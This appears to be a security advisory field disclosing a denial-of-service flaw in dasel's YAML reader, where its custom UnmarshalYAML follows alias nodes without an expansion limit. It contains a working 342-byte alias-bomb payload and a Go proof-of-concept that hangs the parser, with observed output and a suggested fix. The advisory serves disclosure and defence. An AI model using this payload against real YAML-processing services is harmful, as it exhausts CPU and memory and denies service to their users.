+ "details": "### Summary\n\n`dasel`'s YAML reader allows an attacker who can supply YAML for processing to trigger extreme CPU and memory consumption. The issue is in the library's own `UnmarshalYAML` implementation, which manually resolves alias nodes by recursively following `yaml.Node.Alias` pointers without any expansion budget, bypassing go-yaml v4's built-in alias expansion limit.\n\nThe issue issue is on `v3.3.1` (`fba653c7f248aff10f2b89fca93929b64707dfc8`) and on the current default branch at commit `0dd6132e0c58edbd9b1a5f7ffd00dfab1e6085ad`. It is also verified the same code path is present in `v3.0.0` (`648f83baf070d9e00db8ff312febef857ec090a3`). A 342-byte payload did not complete within 5 seconds on the test system and exhibited unbounded resource growth.\n\n### Details\n\nIn `v3.3.1` (`fba653c7f248aff10f2b89fca93929b64707dfc8`), the reachable call path is:\n\n- The YAML reader is registered in [`parsing/yaml/yaml.go`](https://github.com/TomWright/dasel/blob/fba653c7f248aff10f2b89fca93929b64707dfc8/parsing/yaml/yaml.go) and exposed via `parsing.Format(\"yaml\").NewReader()`\n- `(*yamlReader).Read` in [`parsing/yaml/yaml_reader.go#L23-L48`](https://github.com/TomWright/dasel/blob/fba653c7f248aff10f2b89fca93929b64707dfc8/parsing/yaml/yaml_reader.go#L23-L48) uses `yaml.NewDecoder` to decode the input. Because `yamlValue` implements `UnmarshalYAML(*yaml.Node)`, the decoder passes the raw `*yaml.Node` tree to that custom unmarshaler\n- `(*yamlValue).UnmarshalYAML` in [`parsing/yaml/yaml_reader.go#L57-L131`](https://github.com/TomWright/dasel/blob/fba653c7f248aff10f2b89fca93929b64707dfc8/parsing/yaml/yaml_reader.go#L57-L131) walks the Node tree\n- When an `AliasNode` is encountered, the handler at [`parsing/yaml/yaml_reader.go#L119-L126`](https://github.com/TomWright/dasel/blob/fba653c7f248aff10f2b89fca93929b64707dfc8/parsing/yaml/yaml_reader.go#L119-L126) recursively calls `newVal.UnmarshalYAML(value.Alias)` without tracking expansion count\n\nThe root cause is that go-yaml v4 has two decoding paths:\n\n1. **`Unmarshal` into Go values**: Tracks alias expansion count and rejects documents with excessive aliasing (`\"yaml: document contains excessive aliasing\"`).\n2. **`Decode` into `yaml.Node` / custom `UnmarshalYAML`**: Passes a compact Node tree where alias nodes are pointers to their anchors. No expansion occurs at this level.\n\nDasel receives the compact Node tree via its `UnmarshalYAML(*yaml.Node)` hook and then recursively follows `value.Alias` pointers, re-expanding aliases without a budget:\n\n```go\ncase yaml.AliasNode:\n newVal := &yamlValue{}\n if err := newVal.UnmarshalYAML(value.Alias); err != nil {\n return err\n }\n yv.value = newVal.value\n yv.value.SetMetadataValue(\"yaml-alias\", value.Value)\n```\n\nWith a 9-level alias bomb (each level referencing the previous 9 times), this produces hundreds of millions of recursive expansions from a 342-byte input.\n\nTest environment:\n\n- MacBook Air (Apple M2), macOS / Darwin `arm64`\n- Go `1.26.1`\n- dasel `v3.3.1` (`fba653c7f248aff10f2b89fca93929b64707dfc8`)\n- go.yaml.in/yaml/v4 `v4.0.0-rc.3`\n\n### PoC\n\n```go\npackage main\n\nimport (\n\t\"fmt\"\n\t\"runtime\"\n\t\"time\"\n\n\t\"github.com/tomwright/dasel/v3/parsing\"\n\t_ \"github.com/tomwright/dasel/v3/parsing/yaml\"\n\t\"go.yaml.in/yaml/v4\"\n)\n\nfunc main() {\n\tpayload := `a: &a [\"lol\",\"lol\",\"lol\",\"lol\",\"lol\",\"lol\",\"lol\",\"lol\",\"lol\"]\nb: &b [*a,*a,*a,*a,*a,*a,*a,*a,*a]\nc: &c [*b,*b,*b,*b,*b,*b,*b,*b,*b]\nd: &d [*c,*c,*c,*c,*c,*c,*c,*c,*c]\ne: &e [*d,*d,*d,*d,*d,*d,*d,*d,*d]\nf: &f [*e,*e,*e,*e,*e,*e,*e,*e,*e]\ng: &g [*f,*f,*f,*f,*f,*f,*f,*f,*f]\nh: &h [*g,*g,*g,*g,*g,*g,*g,*g,*g]\ni: &i [*h,*h,*h,*h,*h,*h,*h,*h,*h]\n`\n\n\tfmt.Printf(\"Payload size: %d bytes\\n\", len(payload))\n\tfmt.Printf(\"Go version: %s\\n\", runtime.Version())\n\tfmt.Printf(\"GOARCH: %s\\n\", runtime.GOARCH)\n\tfmt.Println()\n\n\t// 1. go-yaml v4 Unmarshal correctly rejects this\n\tfmt.Println(\"=== Test 1: Direct yaml.Unmarshal (should be rejected) ===\")\n\t{\n\t\tvar v interface{}\n\t\tstart := time.Now()\n\t\terr := yaml.Unmarshal([]byte(payload), &v)\n\t\telapsed := time.Since(start)\n\t\tif err != nil {\n\t\t\tfmt.Printf(\"SAFE: Rejected in %v: %v\\n\", elapsed, err)\n\t\t} else {\n\t\t\tfmt.Printf(\"VULNERABLE: Completed in %v\\n\", elapsed)\n\t\t}\n\t}\n\tfmt.Println()\n\n\t// 2. Dasel's YAML reader is vulnerable\n\tfmt.Println(\"=== Test 2: Dasel YAML reader (VULNERABLE) ===\")\n\tdone := make(chan string, 1)\n\tgo func() {\n\t\treader, err := parsing.Format(\"yaml\").NewReader(parsing.DefaultReaderOptions())\n\t\tif err != nil {\n\t\t\tdone <- fmt.Sprintf(\"Error creating reader: %v\", err)\n\t\t\treturn\n\t\t}\n\t\tstart := time.Now()\n\t\t_, err = reader.Read([]byte(payload))\n\t\telapsed := time.Since(start)\n\t\tif err != nil {\n\t\t\tdone <- fmt.Sprintf(\"Error after %v: %v\", elapsed, err)\n\t\t} else {\n\t\t\tdone <- fmt.Sprintf(\"Completed in %v\", elapsed)\n\t\t}\n\t}()\n\n\tselect {\n\tcase result := <-done:\n\t\tfmt.Println(result)\n\tcase <-time.After(5 * time.Second):\n\t\tfmt.Println(\"CONFIRMED: did not complete within 5s; unbounded alias expansion in progress\")\n\t}\n}\n```\n\nObserved output on `v3.3.1` in the test environment above:\n\n```text\nPayload size: 342 bytes\nGo version: go1.26.1\nGOARCH: arm64\n\n=== Test 1: Direct yaml.Unmarshal (should be rejected) ===\nSAFE: Rejected in 824.042µs: yaml: document contains excessive aliasing\n\n=== Test 2: Dasel YAML reader (VULNERABLE) ===\nCONFIRMED: did not complete within 5s; unbounded alias expansion in progress\n```\n\n### Impact\n\nAn attacker who can supply YAML for processing by dasel can cause denial of service. The library's own `UnmarshalYAML` handler triggers unbounded recursive alias expansion from a 342-byte input. The process consumes 100% CPU and exhibits growing memory usage until externally terminated.\n\nThis affects:\n- CLI usage: when reading YAML from stdin or files via the CLI\n- Library usage: any application using dasel's YAML reader to parse untrusted YAML\n- The `parse(\"yaml\", ...)` function in selectors\n\n### Suggested Fix\n\nOne likely fix is to add an alias expansion counter to `UnmarshalYAML` that limits the total number of alias resolutions, similar to go-yaml v4's internal limit. For example, track a counter across all recursive calls and return an error when it exceeds a threshold (e.g., 1,000,000 expansions).",
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